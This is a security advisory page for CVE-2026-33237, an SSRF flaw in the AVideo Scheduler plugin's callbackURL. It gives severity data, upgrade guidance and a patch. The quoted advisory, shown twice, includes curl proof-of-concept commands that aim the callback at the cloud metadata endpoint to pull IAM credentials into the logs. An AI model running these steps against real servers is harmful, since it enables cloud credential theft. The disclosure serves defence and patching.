CVE-2026-33237: Wwbn/avideo AVideo Has SSRF Vulnerability

MODERATE
Advisory Identifier: GHSA-v467-g7g7-hhfh
CVSS 5.5
CWE-918
Published
Advisory Summary

CVE-2026-33237 is a MODERATE (CVSS 5.5) avideo has ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo has ssrf in scheduler plugin via callbackurl missing `isssrfsafeurl()` validation. Remediation is available by upgrading affected packages to version 26.0.

CVE-2026-33237 at a Glance

CVE Identifier CVE-2026-33237
GHSA Identifier GHSA-v467-g7g7-hhfh
Severity MODERATE
CVSS v3.1 Base Score 5.5
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-33237

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: 26.0
Upgrade wwbn/avideo to 26.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33237, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 26.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The Scheduler plugin's `run()` function in `plugin/Scheduler/Scheduler.php` calls `url_get_contents()` with an admin-configurable `callbackURL` that is validated only by `isValidURL()` (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through `isSSRFSafeURL()`, which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network `callbackURL` to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet. ## Details The vulnerable code is at `plugin/Scheduler/Scheduler.php:157-166`: ```php // Line 157: callback URL retrieved and site-root token substituted $callBackURL = $e->getCallbackURL(); $callBackURL = str_replace('$SITE_ROOT_TOKEN', $global['webSiteRootURL'], $callBackURL); if (!isValidURL($callBackURL)) { return false; } // isValidURL() only checks URL format via filter_var(..., FILTER_VALIDATE_URL) // The critical missing check is: // if (!isSSRFSafeURL($callBackURL)) { return false; } if (empty($_executeSchelude[$callBackURL])) { $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30); ``` `isValidURL()` in `objects/functions.php` uses `filter_var($url, FILTER_VALIDATE_URL)` — it validates URL syntax only and does not block internal/private network targets. `isSSRFSafeURL()` in `objects/functions.php:4021` explicitly blocks: - `127.x.x.x` / `::1` (loopback) - `10.x.x.x`, `172.16-31.x.x`, `192.168.x.x` (RFC-1918 private) - `169.254.x.x` (link-local, including AWS/GCP metadata at `169.254.169.254`) - IPv6 private ranges This function was added to the LiveLinks proxy (GHSA-9x67-f2v7-63rw fix, commit `0e5638292`) and was previously used in the aVideoEncoder download flow (GHSA-h39h-7cvg-q7j6), but the Scheduler plugin was not updated in either fix wave, leaving it as an incomplete patch. An admin can configure the `callbackURL` for a scheduled task via the Scheduler plugin UI and trigger execution immediately via the "Run now" interface. ## PoC ```bash # Step 1: Authenticate as admin # Step 2: Create a scheduled task with cloud metadata SSRF callback curl -b "admin_session=<session>" -X POST \ https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/add.json.php \ -d "callbackURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&status=a&type=&date_to_execute=2026-03-18+12:00:00" # Step 3: Trigger immediate execution via Scheduler run endpoint curl -b "admin_session=<session>" \ https://target.avideo.site/plugin/Scheduler/run.php # Step 4: Read the scheduler execution logs curl -b "admin_session=<session>" \ https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/get.json.php # Response includes the AWS metadata API response with IAM role credentials ``` **Expected:** Internal network addresses rejected before HTTP request is made. **Actual:** The server makes an HTTP request to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` and the response (including AWS IAM role credentials) is stored in the scheduler execution log. ## Impact - **Cloud credential theft:** On AWS, GCP, or Azure deployments, the attacker can retrieve IAM instance role credentials from the cloud metadata service (`169.254.169.254`), potentially enabling privilege escalation within the cloud environment. - **Internal service probing:** The attacker can make the server issue requests to internal APIs, microservices, or databases with HTTP interfaces not exposed to the internet. - **Incomplete patch amplification:** The fix for GHSA-9x67-f2v7-63rw and GHSA-h39h-7cvg-q7j6 added `isSSRFSafeURL()` to specific call sites but not the Scheduler. Deployments that updated expecting comprehensive SSRF protection remain vulnerable via this path. - **Blast radius:** Requires admin access. Impact is significant in cloud-hosted deployments where instance metadata credentials unlock broader infrastructure access. ## Recommended Fix Add `isSSRFSafeURL()` validation to the Scheduler callback URL before `url_get_contents()` is called, consistent with the existing SSRF fixes in `plugin/LiveLinks/proxy.php` and `objects/aVideoEncoder.json.php`: ```php $callBackURL = $e->getCallbackURL(); if (!isValidURL($callBackURL)) { return false; } // Add this SSRF check — same pattern as LiveLinks proxy fix (GHSA-9x67-f2v7-63rw): if (!isSSRFSafeURL($callBackURL)) { _error_log("Scheduler::run SSRF protection blocked callbackURL: " . $callBackURL); return false; } if (empty($_executeSchelude[$callBackURL])) { $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30); ```

CVE-2026-33237 Affected Wwbn/avideo Versions

1 component(s)
Fixed Versions:
26.0
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
< 26.0
26.0

References

Frequently Asked Questions

What is CVE-2026-33237?
CVE-2026-33237 is a security vulnerability in Wwbn/avideo involving AVideo has SSRF in Scheduler Plugin via callbackURL Missing `isSSRFSafeURL()` Validation under CWE-918: Server-Side Request Forgery (SSRF).
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to 26.0 across affected packages: wwbn/avideo.
What version fixes CVE-2026-33237?
Upgrading to 26.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to 26.0. Upgrade your dependency to 26.0 or later.
What is the CVSS score of CVE-2026-33237?
CVE-2026-33237 has a CVSS v3.1 base score of 5.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-33237?
CVE-2026-33237 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Packagist dependencies for CVE-2026-33237?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v467-g7g7-hhfh",
  "modified" : "2026-04-13T17:40:20Z",
  "published" : "2026-03-19T12:43:23Z",
  "aliases" : [ "CVE-2026-33237" ],
  "summary" : "AVideo has SSRF in Scheduler Plugin via callbackURL Missing `isSSRFSafeURL()` Validation",
  "details" : "## Summary\n\nThe Scheduler plugin's `run()` function in `plugin/Scheduler/Scheduler.php` calls `url_get_contents()` with an admin-configurable `callbackURL` that is validated only by `isValidURL()` (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through `isSSRFSafeURL()`, which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network `callbackURL` to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet.\n\n## Details\n\nThe vulnerable code is at `plugin/Scheduler/Scheduler.php:157-166`:\n\n```php\n// Line 157: callback URL retrieved and site-root token substituted\n$callBackURL = $e->getCallbackURL();\n$callBackURL = str_replace('$SITE_ROOT_TOKEN', $global['webSiteRootURL'], $callBackURL);\nif (!isValidURL($callBackURL)) {\n    return false;\n}\n// isValidURL() only checks URL format via filter_var(..., FILTER_VALIDATE_URL)\n// The critical missing check is:\n// if (!isSSRFSafeURL($callBackURL)) { return false; }\nif (empty($_executeSchelude[$callBackURL])) {\n    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);\n```\n\n`isValidURL()` in `objects/functions.php` uses `filter_var($url, FILTER_VALIDATE_URL)` — it validates URL syntax only and does not block internal/private network targets.\n\n`isSSRFSafeURL()` in `objects/functions.php:4021` explicitly blocks:\n- `127.x.x.x` / `::1` (loopback)\n- `10.x.x.x`, `172.16-31.x.x`, `192.168.x.x` (RFC-1918 private)\n- `169.254.x.x` (link-local, including AWS/GCP metadata at `169.254.169.254`)\n- IPv6 private ranges\n\nThis function was added to the LiveLinks proxy (GHSA-9x67-f2v7-63rw fix, commit `0e5638292`) and was previously used in the aVideoEncoder download flow (GHSA-h39h-7cvg-q7j6), but the Scheduler plugin was not updated in either fix wave, leaving it as an incomplete patch.\n\nAn admin can configure the `callbackURL` for a scheduled task via the Scheduler plugin UI and trigger execution immediately via the \"Run now\" interface.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as admin\n\n# Step 2: Create a scheduled task with cloud metadata SSRF callback\ncurl -b \"admin_session=<session>\" -X POST \\\n  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/add.json.php \\\n  -d \"callbackURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&status=a&type=&date_to_execute=2026-03-18+12:00:00\"\n\n# Step 3: Trigger immediate execution via Scheduler run endpoint\ncurl -b \"admin_session=<session>\" \\\n  https://target.avideo.site/plugin/Scheduler/run.php\n\n# Step 4: Read the scheduler execution logs\ncurl -b \"admin_session=<session>\" \\\n  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/get.json.php\n# Response includes the AWS metadata API response with IAM role credentials\n```\n\n**Expected:** Internal network addresses rejected before HTTP request is made.\n**Actual:** The server makes an HTTP request to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` and the response (including AWS IAM role credentials) is stored in the scheduler execution log.\n\n## Impact\n\n- **Cloud credential theft:** On AWS, GCP, or Azure deployments, the attacker can retrieve IAM instance role credentials from the cloud metadata service (`169.254.169.254`), potentially enabling privilege escalation within the cloud environment.\n- **Internal service probing:** The attacker can make the server issue requests to internal APIs, microservices, or databases with HTTP interfaces not exposed to the internet.\n- **Incomplete patch amplification:** The fix for GHSA-9x67-f2v7-63rw and GHSA-h39h-7cvg-q7j6 added `isSSRFSafeURL()` to specific call sites but not the Scheduler. Deployments that updated expecting comprehensive SSRF protection remain vulnerable via this path.\n- **Blast radius:** Requires admin access. Impact is significant in cloud-hosted deployments where instance metadata credentials unlock broader infrastructure access.\n\n## Recommended Fix\n\nAdd `isSSRFSafeURL()` validation to the Scheduler callback URL before `url_get_contents()` is called, consistent with the existing SSRF fixes in `plugin/LiveLinks/proxy.php` and `objects/aVideoEncoder.json.php`:\n\n```php\n$callBackURL = $e->getCallbackURL();\nif (!isValidURL($callBackURL)) {\n    return false;\n}\n// Add this SSRF check — same pattern as LiveLinks proxy fix (GHSA-9x67-f2v7-63rw):\nif (!isSSRFSafeURL($callBackURL)) {\n    _error_log(\"Scheduler::run SSRF protection blocked callbackURL: \" . $callBackURL);\n    return false;\n}\nif (empty($_executeSchelude[$callBackURL])) {\n    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "26.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 25.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-v467-g7g7-hhfh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33237"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/issues/10403"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/df926e500580c2a1e3c70351f0c30f4e15c0fd83"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-19T12:43:23Z",
    "nvd_published_at" : "2026-03-21T00:16:26Z"
  }
}